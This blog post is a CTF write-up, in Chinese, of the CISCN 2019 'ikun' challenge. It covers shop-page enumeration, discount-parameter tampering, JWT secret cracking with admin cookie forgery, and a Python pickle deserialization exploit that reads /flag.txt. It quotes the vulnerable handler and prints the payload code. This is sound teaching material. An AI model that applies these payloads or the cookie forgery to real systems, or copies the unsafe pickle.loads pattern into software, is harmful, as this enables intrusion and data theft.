[CISCN 2019]ikun题解

这道题的题目页面如下:

题目中要求要买到lv6,但是翻了好多页能买到的都是lv5及以下的物品,写一个脚本爆破一下lv6。

import requests
url = "http://7a73bf1c-9801-4509-bc9f-1e894d3df22a.node3.buuoj.cn/shop?page="
i= 1
while True:
    r = requests.get(url+str(i))
    if "lv6.png" in r.text:
        print(i)
        break
    i+=1

脚本显示的结果为181,181页中显示lv6的价格高达1145141919.0,很明显自己的钱不够,这里可以利用一个薅羊毛的漏洞,购买物品的结算界面有优惠,以下是购买普通lv4的一个测试。

修改diccount可以成功以超低价格买入。

用以上思路我们可以成功买入lv6。

之后会弹出一个admin页面,目录在/b1g_m4mber下,并显示只允许admin访问,这里应该是需要伪造admin的cookie。之前并没有接触过伪造cookie的问题,接下来的部分是借用大佬的思路,利用jwt进行cookie伪造。

在https://jwt.io/#encoded-jwt页面输入自己的cookie值可以看到自己用户名。

使用c-jwt-cracker可以爆破密钥,密钥为1Kun。

利用burpsite修改cookie可以进入管理员界面。

查看网页源码

image-20200312111615929

有一个文件,可以下载下来。

里面的admin.py文件存在一个反序列化点

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

become参数会被反序列化,在反序列化时可以充分利用好reduce魔术方法来获取flag。

import pickle
from urllib.parse import quote
class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt').read()",))

a = pickle.dumps(payload(),protocol=0)
print(quote(a))

关于反序列化有一个坑,就是不同python版本以及反序列化的协议产生的反序列化结果是不一样的,这里如果用python2可以省去protocol=0这个参数,本文中使用的python3。

发送payload即可得到flag。

本题目涉及的考点有薅羊毛漏洞、JWTcookie伪造和python反序列化。

posted @ 2020-03-12 16:40  kevin_bruce  阅读(585)  评论(0编辑  收藏  举报